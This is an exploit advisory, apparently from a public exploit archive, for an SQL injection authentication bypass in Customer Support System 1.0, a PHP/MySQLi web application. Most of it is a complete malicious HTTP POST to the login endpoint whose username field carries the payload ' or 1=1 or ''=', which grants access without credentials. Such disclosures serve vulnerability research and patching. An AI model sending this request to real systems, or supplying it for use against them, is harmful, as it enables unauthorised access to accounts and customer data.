Customer Support System 1.0 SQL Injection

`# Title: Customer Support System 1.0 - Authentication Bypass  
# Date: 2020-11-11  
# Exploit Author: Ahmed Abbas  
# Vendor Homepage: https://www.sourcecodester.com/php/14587/customer-support-system-using-phpmysqli-source-code.html  
# Software Link: https://www.sourcecodester.com/download-code?nid=14587&title=Customer+Support+System+using+PHP%2FMySQLi+with+Source+Code  
# Version: 1.0  
# Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 7.4.4  
  
  
# Description : Authentication Bypass  
# Vulnerability Details:  
[+] A SQL injection vulnerability in Customer Support System 1.0 allows remote unauthenticated attackers to bypass the authentication process via username and password parameters.  
  
  
# Malicious POST Request to https://TARGET  
POST /customer_support/ajax.php?action=login HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 62  
Origin: http://localhost  
Connection: close  
Referer: http://localhost/customer_support/login.php  
Cookie: PHPSESSID=gbattc1r1riap25kr5k2k1ureo  
  
username=' or 1=1 or ''='&password=password&type=1  
`